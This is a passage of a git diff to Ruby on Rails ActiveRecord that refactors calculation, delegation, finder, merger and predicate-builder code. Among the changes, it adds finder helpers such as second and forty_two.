-      calculate(:minimum, column_name, options)
+    def minimum(column_name)
+      calculate(:minimum, column_name)
     end
 
     # Calculates the maximum value on a given column. The value is returned
@@ -46,8 +61,8 @@ module ActiveRecord
     # +calculate+ for examples with options.
     #
     #   Person.maximum(:age) # => 93
-    def maximum(column_name, options = {})
-      calculate(:maximum, column_name, options)
+    def maximum(column_name)
+      calculate(:maximum, column_name)
     end
 
     # Calculates the sum of values on a given column. The value is returned
@@ -90,15 +105,15 @@ module ActiveRecord
     #   Person.group(:last_name).having("min(age) > 17").minimum(:age)
     #
     #   Person.sum("2 * age")
-    def calculate(operation, column_name, options = {})
+    def calculate(operation, column_name)
       if column_name.is_a?(Symbol) && attribute_alias?(column_name)
         column_name = attribute_alias(column_name)
       end
 
       if has_include?(column_name)
-        construct_relation_for_association_calculations.calculate(operation, column_name, options)
+        construct_relation_for_association_calculations.calculate(operation, column_name)
       else
-        perform_calculation(operation, column_name, options)
+        perform_calculation(operation, column_name)
       end
     end
 
@@ -151,19 +166,8 @@ module ActiveRecord
         relation.select_values = column_names.map { |cn|
           columns_hash.key?(cn) ? arel_table[cn] : cn
         }
-        result = klass.connection.select_all(relation.arel, nil, bind_values)
-        columns = result.columns.map do |key|
-          klass.column_types.fetch(key) {
-            result.column_types.fetch(key) { result.identity_type }
-          }
-        end
-
-        result = result.map do |attributes|
-          values = klass.initialize_attributes(attributes).values
-
-          columns.zip(values).map { |column, value| column.type_cast value }
-        end
-        columns.one? ? result.map!(&:first) : result
+        result = klass.connection.select_all(relation.arel, nil, bound_attributes)
+        result.cast_values(klass.attribute_types)
       end
     end
 
@@ -178,10 +182,10 @@ module ActiveRecord
     private
 
     def has_include?(column_name)
-      eager_loading? || (includes_values.present? && (column_name || references_eager_loaded_tables?))
+      eager_loading? || (includes_values.present? && ((column_name && column_name != :all) || references_eager_loaded_tables?))
     end
 
-    def perform_calculation(operation, column_name, options = {})
+    def perform_calculation(operation, column_name)
       operation = operation.to_s.downcase
 
       # If #count is used with #distinct / #uniq it is considered distinct. (eg. relation.distinct.count)
@@ -219,7 +223,7 @@ module ActiveRecord
 
     def execute_simple_calculation(operation, column_name, distinct) #:nodoc:
       # Postgresql doesn't like ORDER BY when there are no GROUP BY
-      relation = reorder(nil)
+      relation = unscope(:order)
 
       column_alias = column_name
 
@@ -234,16 +238,17 @@ module ActiveRecord
         select_value = operation_over_aggregate_column(column, operation, distinct)
 
         column_alias = select_value.alias
+        column_alias ||= @klass.connection.column_name_for_operation(operation, select_value)
         relation.select_values = [select_value]
 
         query_builder = relation.arel
       end
 
-      result = @klass.connection.select_all(query_builder, nil, relation.bind_values)
+      result = @klass.connection.select_all(query_builder, nil, bound_attributes)
       row    = result.first
       value  = row && row.values.first
       column = result.column_types.fetch(column_alias) do
-        column_for(column_name)
+        type_for(column_name)
       end
 
       type_cast_calculated_value(value, column, operation)
@@ -253,8 +258,8 @@ module ActiveRecord
       group_attrs = group_values
 
       if group_attrs.first.respond_to?(:to_sym)
-        association  = @klass.reflect_on_association(group_attrs.first.to_sym)
-        associated   = group_attrs.size == 1 && association && association.macro == :belongs_to # only count belongs_to associations
+        association  = @klass._reflect_on_association(group_attrs.first)
+        associated   = group_attrs.size == 1 && association && association.belongs_to? # only count belongs_to associations
         group_fields = Array(associated ? association.foreign_key : group_attrs)
       else
         group_fields = group_attrs
@@ -281,7 +286,7 @@ module ActiveRecord
           operation,
           distinct).as(aggregate_alias)
       ]
-      select_values += select_values unless having_values.empty?
+      select_values += select_values unless having_clause.empty?
 
       select_values.concat group_fields.zip(group_aliases).map { |field,aliaz|
         if field.respond_to?(:as)
@@ -295,24 +300,26 @@ module ActiveRecord
       relation.group_values  = group
       relation.select_values = select_values
 
-      calculated_data = @klass.connection.select_all(relation, nil, bind_values)
+      calculated_data = @klass.connection.select_all(relation, nil, relation.bound_attributes)
 
       if association
         key_ids     = calculated_data.collect { |row| row[group_aliases.first] }
-        key_records = association.klass.base_class.find(key_ids)
+        key_records = association.klass.base_class.where(association.klass.base_class.primary_key => key_ids)
         key_records = Hash[key_records.map { |r| [r.id, r] }]
       end
 
       Hash[calculated_data.map do |row|
         key = group_columns.map { |aliaz, col_name|
           column = calculated_data.column_types.fetch(aliaz) do
-            column_for(col_name)
+            type_for(col_name)
           end
           type_cast_calculated_value(row[aliaz], column)
         }
         key = key.first if key.size == 1
         key = key_records[key] if associated
-        [key, type_cast_calculated_value(row[aggregate_alias], column_for(column_name), operation)]
+
+        column_type = calculated_data.column_types.fetch(aggregate_alias) { type_for(column_name) }
+        [key, type_cast_calculated_value(row[aggregate_alias], column_type, operation)]
       end]
     end
 
@@ -338,24 +345,20 @@ module ActiveRecord
       @klass.connection.table_alias_for(table_name)
     end
 
-    def column_for(field)
+    def type_for(field)
       field_name = field.respond_to?(:name) ? field.name.to_s : field.to_s.split('.').last
-      @klass.columns_hash[field_name]
+      @klass.type_for_attribute(field_name)
     end
 
-    def type_cast_calculated_value(value, column, operation = nil)
+    def type_cast_calculated_value(value, type, operation = nil)
       case operation
         when 'count'   then value.to_i
-        when 'sum'     then type_cast_using_column(value || 0, column)
+        when 'sum'     then type.type_cast_from_database(value || 0)
         when 'average' then value.respond_to?(:to_d) ? value.to_d : value
-        else type_cast_using_column(value, column)
+        else type.type_cast_from_database(value)
       end
     end
 
-    def type_cast_using_column(value, column)
-      column ? column.type_cast(value) : value
-    end
-
     # TODO: refactor to allow non-string `select_values` (eg. Arel nodes).
     def select_for_count
       if select_values.present?
diff --git a/activerecord/lib/active_record/relation/delegation.rb b/activerecord/lib/active_record/relation/delegation.rb
index e28938f9d0..d4a8823cfe 100644
--- a/activerecord/lib/active_record/relation/delegation.rb
+++ b/activerecord/lib/active_record/relation/delegation.rb
@@ -1,3 +1,4 @@
+require 'set'
 require 'active_support/concern'
 
 module ActiveRecord
@@ -35,7 +36,14 @@ module ActiveRecord
     # may vary depending on the klass of a relation, so we create a subclass of Relation
     # for each different klass, and the delegations are compiled into that subclass only.
 
-    delegate :to_xml, :to_yaml, :length, :collect, :map, :each, :all?, :include?, :to_ary, :to => :to_a
+    BLACKLISTED_ARRAY_METHODS = [
+      :compact!, :flatten!, :reject!, :reverse!, :rotate!, :map!,
+      :shuffle!, :slice!, :sort!, :sort_by!, :delete_if,
+      :keep_if, :pop, :shift, :delete_at, :compact, :select!
+    ].to_set # :nodoc:
+
+    delegate :to_xml, :to_yaml, :length, :collect, :map, :each, :all?, :include?, :to_ary, :join, to: :to_a
+
     delegate :table_name, :quoted_table_name, :primary_key, :quoted_primary_key,
              :connection, :columns_hash, :to => :klass
 
@@ -63,7 +71,7 @@ module ActiveRecord
               RUBY
             else
               define_method method do |*args, &block|
-                scoping { @klass.send(method, *args, &block) }
+                scoping { @klass.public_send(method, *args, &block) }
               end
             end
           end
@@ -82,13 +90,10 @@ module ActiveRecord
       def method_missing(method, *args, &block)
         if @klass.respond_to?(method)
           self.class.delegate_to_scoped_klass(method)
-          scoping { @klass.send(method, *args, &block) }
-        elsif Array.method_defined?(method)
-          self.class.delegate method, :to => :to_a
-          to_a.send(method, *args, &block)
+          scoping { @klass.public_send(method, *args, &block) }
         elsif arel.respond_to?(method)
           self.class.delegate method, :to => :arel
-          arel.send(method, *args, &block)
+          arel.public_send(method, *args, &block)
         else
           super
         end
@@ -108,20 +113,24 @@ module ActiveRecord
     end
 
     def respond_to?(method, include_private = false)
-      super || Array.method_defined?(method) ||
-        @klass.respond_to?(method, include_private) ||
+      super || @klass.respond_to?(method, include_private) ||
+        array_delegable?(method) ||
         arel.respond_to?(method, include_private)
     end
 
     protected
 
+    def array_delegable?(method)
+      Array.method_defined?(method) && BLACKLISTED_ARRAY_METHODS.exclude?(method)
+    end
+
     def method_missing(method, *args, &block)
       if @klass.respond_to?(method)
-        scoping { @klass.send(method, *args, &block) }
-      elsif Array.method_defined?(method)
-        to_a.send(method, *args, &block)
+        scoping { @klass.public_send(method, *args, &block) }
+      elsif array_delegable?(method)
+        to_a.public_send(method, *args, &block)
       elsif arel.respond_to?(method)
-        arel.send(method, *args, &block)
+        arel.public_send(method, *args, &block)
       else
         super
       end
diff --git a/activerecord/lib/active_record/relation/finder_methods.rb b/activerecord/lib/active_record/relation/finder_methods.rb
index 0132a02f83..fb47d915ff 100644
--- a/activerecord/lib/active_record/relation/finder_methods.rb
+++ b/activerecord/lib/active_record/relation/finder_methods.rb
@@ -1,3 +1,6 @@
+require 'active_support/deprecation'
+require 'active_support/core_ext/string/filters'
+
 module ActiveRecord
   module FinderMethods
     ONE_AS_ONE = '1 AS one'
@@ -6,11 +9,12 @@ module ActiveRecord
     # If no record can be found for all of the listed ids, then RecordNotFound will be raised. If the primary key
     # is an integer, find by id coerces its arguments using +to_i+.
     #
-    #   Person.find(1)       # returns the object for ID = 1
-    #   Person.find("1")     # returns the object for ID = 1
-    #   Person.find(1, 2, 6) # returns an array for objects with IDs in (1, 2, 6)
-    #   Person.find([7, 17]) # returns an array for objects with IDs in (7, 17)
-    #   Person.find([1])     # returns an array for the object with ID = 1
+    #   Person.find(1)          # returns the object for ID = 1
+    #   Person.find("1")        # returns the object for ID = 1
+    #   Person.find("31-sarah") # returns the object for ID = 31
+    #   Person.find(1, 2, 6)    # returns an array for objects with IDs in (1, 2, 6)
+    #   Person.find([7, 17])    # returns an array for objects with IDs in (7, 17)
+    #   Person.find([1])        # returns an array for the object with ID = 1
     #   Person.where("administrator = 1").order("created_on DESC").find(1)
     #
     # <tt>ActiveRecord::RecordNotFound</tt> will be raised if one or more ids are not found.
@@ -62,7 +66,7 @@ module ActiveRecord
     #   # returns an Array of the required fields, available since Rails 3.1.
     def find(*args)
       if block_given?
-        to_a.find { |*block_args| yield(*block_args) }
+        to_a.find(*args) { |*block_args| yield(*block_args) }
       else
         find_with_ids(*args)
       end
@@ -78,12 +82,16 @@ module ActiveRecord
     #   Post.find_by "published_at < ?", 2.weeks.ago
     def find_by(*args)
       where(*args).take
+    rescue RangeError
+      nil
     end
 
     # Like <tt>find_by</tt>, except that if no record is found, raises
     # an <tt>ActiveRecord::RecordNotFound</tt> error.
     def find_by!(*args)
       where(*args).take!
+    rescue RangeError
+      raise RecordNotFound, "Couldn't find #{@klass.name} with an out of range value"
     end
 
     # Gives a record (or N records if a parameter is supplied) without any implied
@@ -100,7 +108,7 @@ module ActiveRecord
     # Same as +take+ but raises <tt>ActiveRecord::RecordNotFound</tt> if no record
     # is found. Note that <tt>take!</tt> accepts no arguments.
     def take!
-      take or raise RecordNotFound
+      take or raise RecordNotFound.new("Couldn't find #{@klass.name} with [#{arel.where_sql(@klass.arel_engine)}]")
     end
 
     # Find the first record (or first N records if a parameter is supplied).
@@ -126,16 +134,16 @@ module ActiveRecord
     #
     def first(limit = nil)
       if limit
-        find_first_with_limit(limit)
+        find_nth_with_limit(offset_index, limit)
       else
-        find_first
+        find_nth(0, offset_index)
       end
     end
 
     # Same as +first+ but raises <tt>ActiveRecord::RecordNotFound</tt> if no record
     # is found. Note that <tt>first!</tt> accepts no arguments.
     def first!
-      first or raise RecordNotFound
+      find_nth! 0
     end
 
     # Find the last record (or last N records if a parameter is supplied).
@@ -168,7 +176,87 @@ module ActiveRecord
     # Same as +last+ but raises <tt>ActiveRecord::RecordNotFound</tt> if no record
     # is found. Note that <tt>last!</tt> accepts no arguments.
     def last!
-      last or raise RecordNotFound
+      last or raise RecordNotFound.new("Couldn't find #{@klass.name} with [#{arel.where_sql(@klass.arel_engine)}]")
+    end
+
+    # Find the second record.
+    # If no order is defined it will order by primary key.
+    #
+    #   Person.second # returns the second object fetched by SELECT * FROM people
+    #   Person.offset(3).second # returns the second object from OFFSET 3 (which is OFFSET 4)
+    #   Person.where(["user_name = :u", { u: user_name }]).second
+    def second
+      find_nth(1, offset_index)
+    end
+
+    # Same as +second+ but raises <tt>ActiveRecord::RecordNotFound</tt> if no record
+    # is found.
+    def second!
+      find_nth! 1
+    end
+
+    # Find the third record.
+    # If no order is defined it will order by primary key.
+    #
+    #   Person.third # returns the third object fetched by SELECT * FROM people
+    #   Person.offset(3).third # returns the third object from OFFSET 3 (which is OFFSET 5)
+    #   Person.where(["user_name = :u", { u: user_name }]).third
+    def third
+      find_nth(2, offset_index)
+    end
+
+    # Same as +third+ but raises <tt>ActiveRecord::RecordNotFound</tt> if no record
+    # is found.
+    def third!
+      find_nth! 2
+    end
+
+    # Find the fourth record.
+    # If no order is defined it will order by primary key.
+    #
+    #   Person.fourth # returns the fourth object fetched by SELECT * FROM people
+    #   Person.offset(3).fourth # returns the fourth object from OFFSET 3 (which is OFFSET 6)
+    #   Person.where(["user_name = :u", { u: user_name }]).fourth
+    def fourth
+      find_nth(3, offset_index)
+    end
+
+    # Same as +fourth+ but raises <tt>ActiveRecord::RecordNotFound</tt> if no record
+    # is found.
+    def fourth!
+      find_nth! 3
+    end
+
+    # Find the fifth record.
+    # If no order is defined it will order by primary key.
+    #
+    #   Person.fifth # returns the fifth object fetched by SELECT * FROM people
+    #   Person.offset(3).fifth # returns the fifth object from OFFSET 3 (which is OFFSET 7)
+    #   Person.where(["user_name = :u", { u: user_name }]).fifth
+    def fifth
+      find_nth(4, offset_index)
+    end
+
+    # Same as +fifth+ but raises <tt>ActiveRecord::RecordNotFound</tt> if no record
+    # is found.
+    def fifth!
+      find_nth! 4
+    end
+
+    # Find the forty-second record. Also known as accessing "the reddit".
+    # If no order is defined it will order by primary key.
+    #
+    #   Person.forty_two # returns the forty-second object fetched by SELECT * FROM people
+    #   Person.offset(3).forty_two # returns the forty-second object from OFFSET 3 (which is OFFSET 44)
+    #   Person.where(["user_name = :u", { u: user_name }]).forty_two
+    def forty_two
+      find_nth(41, offset_index)
+    end
+
+    # Same as +forty_two+ but raises <tt>ActiveRecord::RecordNotFound</tt> if no record
+    # is found.
+    def forty_two!
+      find_nth! 41
     end
 
     # Returns +true+ if a record exists in the table that matches the +id+ or
@@ -194,14 +282,22 @@ module ActiveRecord
     #   Person.exists?(5)
     #   Person.exists?('5')
     #   Person.exists?(['name LIKE ?', "%#{query}%"])
+    #   Person.exists?(id: [1, 4, 8])
     #   Person.exists?(name: 'David')
     #   Person.exists?(false)
     #   Person.exists?
     def exists?(conditions = :none)
-      conditions = conditions.id if Base === conditions
+      if Base === conditions
+        conditions = conditions.id
+        ActiveSupport::Deprecation.warn(<<-MSG.squish)
+          You are passing an instance of ActiveRecord::Base to `exists?`.
+          Please pass the id of the object by calling `.id`
+        MSG
+      end
+
       return false if !conditions
 
-      relation = construct_relation_for_association_find(construct_join_dependency)
+      relation = apply_join_dependency(self, construct_join_dependency)
       return false if ActiveRecord::NullRelation === relation
 
       relation = relation.except(:select, :order).select(ONE_AS_ONE).limit(1)
@@ -210,10 +306,12 @@ module ActiveRecord
       when Array, Hash
         relation = relation.where(conditions)
       else
-        relation = relation.where(table[primary_key].eq(conditions)) if conditions != :none
+        unless conditions == :none
+          relation = relation.where(primary_key => conditions)
+        end
       end
 
-      connection.select_value(relation, "#{name} Exists", relation.bind_values) ? true : false
+      connection.select_value(relation, "#{name} Exists", relation.bound_attributes) ? true : false
     end
 
     # This method is called whenever no records are found with either a single
@@ -225,13 +323,13 @@ module ActiveRecord
     # the expected number of results should be provided in the +expected_size+
     # argument.
     def raise_record_not_found_exception!(ids, result_size, expected_size) #:nodoc:
-      conditions = arel.where_sql
+      conditions = arel.where_sql(@klass.arel_engine)
       conditions = " [#{conditions}]" if conditions
 
       if Array(ids).size == 1
-        error = "Couldn't find #{@klass.name} with #{primary_key}=#{ids}#{conditions}"
+        error = "Couldn't find #{@klass.name} with '#{primary_key}'=#{ids}#{conditions}"
       else
-        error = "Couldn't find all #{@klass.name.pluralize} with IDs "
+        error = "Couldn't find all #{@klass.name.pluralize} with '#{primary_key}': "
         error << "(#{ids.join(", ")})#{conditions} (found #{result_size} results, but was looking for #{expected_size})"
       end
 
@@ -240,41 +338,66 @@ module ActiveRecord
 
     private
 
+    def offset_index
+      offset_value || 0
+    end
+
     def find_with_associations
-      join_dependency = construct_join_dependency
-      relation = construct_relation_for_association_find(join_dependency)
-      if ActiveRecord::NullRelation === relation
-        []
+      # NOTE: the JoinDependency constructed here needs to know about
+      #       any joins already present in `self`, so pass them in
+      #
+      # failing to do so means that in cases like activerecord/test/cases/associations/inner_join_association_test.rb:136
+      # incorrect SQL is generated. In that case, the join dependency for
+      # SpecialCategorizations is constructed without knowledge of the
+      # preexisting join in joins_values to categorizations (by way of
+      # the `has_many :through` for categories).
+      #
+      join_dependency = construct_join_dependency(joins_values)
+
+      aliases  = join_dependency.aliases
+      relation = select aliases.columns
+      relation = apply_join_dependency(relation, join_dependency)
+
+      if block_given?
+        yield relation
       else
-        rows = connection.select_all(relation.arel, 'SQL', relation.bind_values.dup)
-        join_dependency.instantiate(rows)
+        if ActiveRecord::NullRelation === relation
+          []
+        else
+          arel = relation.arel
+          rows = connection.select_all(arel, 'SQL', relation.bound_attributes)
+          join_dependency.instantiate(rows, aliases)
+        end
       end
     end
 
     def construct_join_dependency(joins = [])
-      including = (eager_load_values + includes_values).uniq
+      including = eager_load_values + includes_values
       ActiveRecord::Associations::JoinDependency.new(@klass, including, joins)
     end
 
     def construct_relation_for_association_calculations
-      apply_join_dependency(self, construct_join_dependency(arel.froms.first))
-    end
-
-    def construct_relation_for_association_find(join_dependency)
-      relation = except(:select).select(join_dependency.columns)
-      apply_join_dependency(relation, join_dependency)
+      from = arel.froms.first
+      if Arel::Table === from
+        apply_join_dependency(self, construct_join_dependency)
+      else
+        # FIXME: as far as I can tell, `from` will always be an Arel::Table.
+        # There are no tests that test this branch, but presumably it's
+        # possible for `from` to be a list?
+        apply_join_dependency(self, construct_join_dependency(from))
+      end
     end
 
     def apply_join_dependency(relation, join_dependency)
       relation = relation.except(:includes, :eager_load, :preload)
-      relation = join_dependency.join_relation(relation)
+      relation = relation.joins join_dependency
 
       if using_limitable_reflections?(join_dependency.reflections)
         relation
       else
         if relation.limit_value
           limited_ids = limited_ids_for(relation)
-          limited_ids.empty? ? relation.none! : relation.where!(table[primary_key].in(limited_ids))
+          limited_ids.empty? ? relation.none! : relation.where!(primary_key => limited_ids)
         end
         relation.except(:limit, :offset)
       end
@@ -285,18 +408,21 @@ module ActiveRecord
         "#{quoted_table_name}.#{quoted_primary_key}", relation.order_values)
 
       relation = relation.except(:select).select(values).distinct!
+      arel = relation.arel
 
-      id_rows = @klass.connection.select_all(relation.arel, 'SQL', relation.bind_values)
+      id_rows = @klass.connection.select_all(arel, 'SQL', relation.bound_attributes)
       id_rows.map {|row| row[primary_key]}
     end
 
     def using_limitable_reflections?(reflections)
-      reflections.none? { |r| r.collection? }
+      reflections.none?(&:collection?)
     end
 
     protected
 
     def find_with_ids(*ids)
+      raise UnknownPrimaryKey.new(@klass) if primary_key.nil?
+
       expects_array = ids.first.kind_of?(Array)
       return ids.first if expects_array && ids.first.empty?
 
@@ -311,15 +437,20 @@ module ActiveRecord
       else
         find_some(ids)
       end
+    rescue RangeError
+      raise RecordNotFound, "Couldn't find #{@klass.name} with an out of range ID"
     end
 
     def find_one(id)
-      id = id.id if ActiveRecord::Base === id
+      if ActiveRecord::Base === id
+        id = id.id
+        ActiveSupport::Deprecation.warn(<<-MSG.squish)
+          You are passing an instance of ActiveRecord::Base to `find`.
+          Please pass the id of the object by calling `.id`
+        MSG
+      end
 
-      column = columns_hash[primary_key]
-      substitute = connection.substitute_at(column, bind_values.length)
-      relation = where(table[primary_key].eq(substitute))
-      relation.bind_values += [[column, id]]
+      relation = where(primary_key => id)
       record = relation.take
 
       raise_record_not_found_exception!(id, 0, 1) unless record
@@ -328,7 +459,7 @@ module ActiveRecord
     end
 
     def find_some(ids)
-      result = where(table[primary_key].in(ids)).to_a
+      result = where(primary_key => ids).to_a
 
       expected_size =
         if limit_value && ids.size > limit_value
@@ -357,20 +488,28 @@ module ActiveRecord
       end
     end
 
-    def find_first
+    def find_nth(index, offset)
       if loaded?
-        @records.first
+        @records[index]
       else
-        @first ||= find_first_with_limit(1).first
+        offset += index
+        @offsets[offset] ||= find_nth_with_limit(offset, 1).first
       end
     end
 
-    def find_first_with_limit(limit)
-      if order_values.empty? && primary_key
-        order(arel_table[primary_key].asc).limit(limit).to_a
-      else
-        limit(limit).to_a
-      end
+    def find_nth!(index)
+      find_nth(index, offset_index) or raise RecordNotFound.new("Couldn't find #{@klass.name} with [#{arel.where_sql(@klass.arel_engine)}]")
+    end
+
+    def find_nth_with_limit(offset, limit)
+      relation = if order_values.empty? && primary_key
+                   order(arel_table[primary_key].asc)
+                 else
+                   self
+                 end
+
+      relation = relation.offset(offset) unless offset.zero?
+      relation.limit(limit).to_a
     end
 
     def find_last
@@ -378,7 +517,7 @@ module ActiveRecord
         @records.last
       else
         @last ||=
-          if offset_value || limit_value
+          if limit_value
             to_a.last
           else
             reverse_order.limit(1).to_a.first
diff --git a/activerecord/lib/active_record/relation/from_clause.rb b/activerecord/lib/active_record/relation/from_clause.rb
new file mode 100644
index 0000000000..a93952fa30
--- /dev/null
+++ b/activerecord/lib/active_record/relation/from_clause.rb
@@ -0,0 +1,32 @@
+module ActiveRecord
+  class Relation
+    class FromClause
+      attr_reader :value, :name
+
+      def initialize(value, name)
+        @value = value
+        @name = name
+      end
+
+      def binds
+        if value.is_a?(Relation)
+          value.bound_attributes
+        else
+          []
+        end
+      end
+
+      def merge(other)
+        self
+      end
+
+      def empty?
+        value.nil?
+      end
+
+      def self.empty
+        new(nil, nil)
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/relation/merger.rb b/activerecord/lib/active_record/relation/merger.rb
index 530c47d0d0..65b607ff1c 100644
--- a/activerecord/lib/active_record/relation/merger.rb
+++ b/activerecord/lib/active_record/relation/merger.rb
@@ -13,7 +13,7 @@ module ActiveRecord
         @hash     = hash
       end
 
-      def merge
+      def merge #:nodoc:
         Merger.new(relation, other).merge
       end
 
@@ -22,7 +22,7 @@ module ActiveRecord
       # build a relation to merge in rather than directly merging
       # the values.
       def other
-        other = Relation.create(relation.klass, relation.table)
+        other = Relation.create(relation.klass, relation.table, relation.predicate_builder)
         hash.each { |k, v|
           if k == :joins
             if Hash === v
@@ -30,6 +30,8 @@ module ActiveRecord
             else
               other.joins!(*v)
             end
+          elsif k == :select
+            other._select!(v)
           else
             other.send("#{k}!", v)
           end
@@ -47,9 +49,9 @@ module ActiveRecord
         @other    = other
       end
 
-      NORMAL_VALUES = Relation::SINGLE_VALUE_METHODS +
-                      Relation::MULTI_VALUE_METHODS -
-                      [:joins, :where, :order, :bind, :reverse_order, :lock, :create_with, :reordering, :from] # :nodoc:
+      NORMAL_VALUES = Relation::VALUE_METHODS -
+                      Relation::CLAUSE_METHODS -
+                      [:joins, :order, :reverse_order, :lock, :create_with, :reordering] # :nodoc:
 
       def normal_values
         NORMAL_VALUES
@@ -58,11 +60,22 @@ module ActiveRecord
       def merge
         normal_values.each do |name|
           value = values[name]
-          relation.send("#{name}!", *value) unless value.blank?
+          # The unless clause is here mostly for performance reasons (since the `send` call might be moderately
+          # expensive), most of the time the value is going to be `nil` or `.blank?`, the only catch is that
+          # `false.blank?` returns `true`, so there needs to be an extra check so that explicit `false` values
+          # don't fall through the cracks.
+          unless value.nil? || (value.blank? && false != value)
+            if name == :select
+              relation._select!(*value)
+            else
+              relation.send("#{name}!", *value)
+            end
+          end
         end
 
         merge_multi_values
         merge_single_values
+        merge_clauses
         merge_joins
 
         relation
@@ -71,12 +84,12 @@ module ActiveRecord
       private
 
       def merge_joins
-        return if values[:joins].blank?
+        return if other.joins_values.blank?
 
         if other.klass == relation.klass
-          relation.joins!(*values[:joins])
+          relation.joins!(*other.joins_values)
         else
-          joins_dependency, rest = values[:joins].partition do |join|
+          joins_dependency, rest = other.joins_values.partition do |join|
             case join
             when Hash, Symbol, Array
               true
@@ -90,80 +103,35 @@ module ActiveRecord
                                                                            [])
           relation.joins! rest
 
-          @relation = join_dependency.join_relation(relation)
+          @relation = relation.joins join_dependency
         end
       end
 
       def merge_multi_values
-        lhs_wheres = relation.where_values
-        rhs_wheres = values[:where] || []
-
-        lhs_binds  = relation.bind_values
-        rhs_binds  = values[:bind] || []
-
-        removed, kept = partition_overwrites(lhs_wheres, rhs_wheres)
-
-        where_values = kept + rhs_wheres
-        bind_values  = filter_binds(lhs_binds, removed) + rhs_binds
-
-        conn = relation.klass.connection
-        bv_index = 0
-        where_values.map! do |node|
-          if Arel::Nodes::Equality === node && Arel::Nodes::BindParam === node.right
-            substitute = conn.substitute_at(bind_values[bv_index].first, bv_index)
-            bv_index += 1
-            Arel::Nodes::Equality.new(node.left, substitute)
-          else
-            node
-          end
-        end
-
-        relation.where_values = where_values
-        relation.bind_values  = bind_values
-
-        if values[:reordering]
+        if other.reordering_value
           # override any order specified in the original relation
-          relation.reorder! values[:order]
-        elsif values[:order]
+          relation.reorder! other.order_values
+        elsif other.order_values
           # merge in order_values from relation
-          relation.order! values[:order]
+          relation.order! other.order_values
         end
 
-        relation.extend(*values[:extending]) unless values[:extending].blank?
+        relation.extend(*other.extending_values) unless other.extending_values.blank?
       end
 
       def merge_single_values
-        relation.from_value          = values[:from] unless relation.from_value
-        relation.lock_value          = values[:lock] unless relation.lock_value
-        relation.reverse_order_value = values[:reverse_order]
+        relation.lock_value ||= other.lock_value
 
-        unless values[:create_with].blank?
-          relation.create_with_value = (relation.create_with_value || {}).merge(values[:create_with])
+        unless other.create_with_value.blank?
+          relation.create_with_value = (relation.create_with_value || {}).merge(other.create_with_value)
         end
       end
 
-      def filter_binds(lhs_binds, removed_wheres)
-        return lhs_binds if removed_wheres.empty?
-
-        set = Set.new removed_wheres.map { |x| x.left.name }
-        lhs_binds.dup.delete_if { |col,_| set.include? col.name }
-      end
-
-      # Remove equalities from the existing relation with a LHS which is
-      # present in the relation being merged in.
-      # returns [things_to_remove, things_to_keep]
-      def partition_overwrites(lhs_wheres, rhs_wheres)
-        if lhs_wheres.empty? || rhs_wheres.empty?
-          return [[], lhs_wheres]
-        end
-
-        nodes = rhs_wheres.find_all do |w|
-          w.respond_to?(:operator) && w.operator == :==
-        end
-        seen = Set.new(nodes) { |node| node.left }
-
-        lhs_wheres.partition do |w|
-          w.respond_to?(:operator) && w.operator == :== && seen.include?(w.left)
+      def merge_clauses
+        CLAUSE_METHODS.each do |name|
+          clause = relation.send("#{name}_clause")
+          other_clause = other.send("#{name}_clause")
+          relation.send("#{name}_clause=", clause.merge(other_clause))
         end
       end
     end
diff --git a/activerecord/lib/active_record/relation/predicate_builder.rb b/activerecord/lib/active_record/relation/predicate_builder.rb
index c60cd27a83..43e9afe853 100644
--- a/activerecord/lib/active_record/relation/predicate_builder.rb
+++ b/activerecord/lib/active_record/relation/predicate_builder.rb
@@ -1,70 +1,49 @@
 module ActiveRecord
   class PredicateBuilder # :nodoc:
-    @handlers = []
-
-    autoload :RelationHandler, 'active_record/relation/predicate_builder/relation_handler'
-    autoload :ArrayHandler, 'active_record/relation/predicate_builder/array_handler'
-
-    def self.resolve_column_aliases(klass, hash)
-      hash = hash.dup
-      hash.keys.grep(Symbol) do |key|
-        if klass.attribute_alias? key
-          hash[klass.attribute_alias(key)] = hash.delete key
-        end
-      end
-      hash
+    require 'active_record/relation/predicate_builder/array_handler'
+    require 'active_record/relation/predicate_builder/association_query_handler'
+    require 'active_record/relation/predicate_builder/base_handler'
+    require 'active_record/relation/predicate_builder/basic_object_handler'
+    require 'active_record/relation/predicate_builder/class_handler'
+    require 'active_record/relation/predicate_builder/range_handler'
+    require 'active_record/relation/predicate_builder/relation_handler'
+
+    delegate :resolve_column_aliases, to: :table
+
+    def initialize(table)
+      @table = table
+      @handlers = []
+
+      register_handler(BasicObject, BasicObjectHandler.new(self))
+      register_handler(Class, ClassHandler.new(self))
+      register_handler(Base, BaseHandler.new(self))
+      register_handler(Range, RangeHandler.new(self))
+      register_handler(Relation, RelationHandler.new)
+      register_handler(Array, ArrayHandler.new(self))
+      register_handler(AssociationQueryValue, AssociationQueryHandler.new(self))
     end
 
-    def self.build_from_hash(klass, attributes, default_table)
-      queries = []
-
-      attributes.each do |column, value|
-        table = default_table
-
-        if value.is_a?(Hash)
-          if value.empty?
-            queries << '1=0'
-          else
-            table       = Arel::Table.new(column, default_table.engine)
-            association = klass.reflect_on_association(column.to_sym)
-
-            value.each do |k, v|
-              queries.concat expand(association && association.klass, table, k, v)
-            end
-          end
-        else
-          column = column.to_s
-
-          if column.include?('.')
-            table_name, column = column.split('.', 2)
-            table = Arel::Table.new(table_name, default_table.engine)
-          end
-
-          queries.concat expand(klass, table, column, value)
-        end
-      end
-
-      queries
+    def build_from_hash(attributes)
+      attributes = convert_dot_notation_to_hash(attributes.stringify_keys)
+      expand_from_hash(attributes)
     end
 
-    def self.expand(klass, table, column, value)
-      queries = []
+    def create_binds(attributes)
+      attributes = convert_dot_notation_to_hash(attributes.stringify_keys)
+      create_binds_for_hash(attributes)
+    end
 
+    def expand(column, value)
       # Find the foreign key when using queries such as:
       # Post.where(author: author)
       #
       # For polymorphic relationships, find the foreign key and type:
       # PriceEstimate.where(estimate_of: treasure)
-      if klass && value.is_a?(Base) && reflection = klass.reflect_on_association(column.to_sym)
-        if reflection.polymorphic?
-          queries << build(table[reflection.foreign_type], value.class.base_class)
-        end
-
-        column = reflection.foreign_key
+      if table.associated_with?(column)
+        value = AssociationQueryValue.new(table.associated_table(column), value)
       end
 
-      queries << build(table[column], value)
-      queries
+      build(table.arel_attribute(column), value)
     end
 
     def self.references(attributes)
@@ -89,25 +68,82 @@ module ActiveRecord
     #       )
     #     end
     #     ActiveRecord::PredicateBuilder.register_handler(MyCustomDateRange, handler)
-    def self.register_handler(klass, handler)
+    def register_handler(klass, handler)
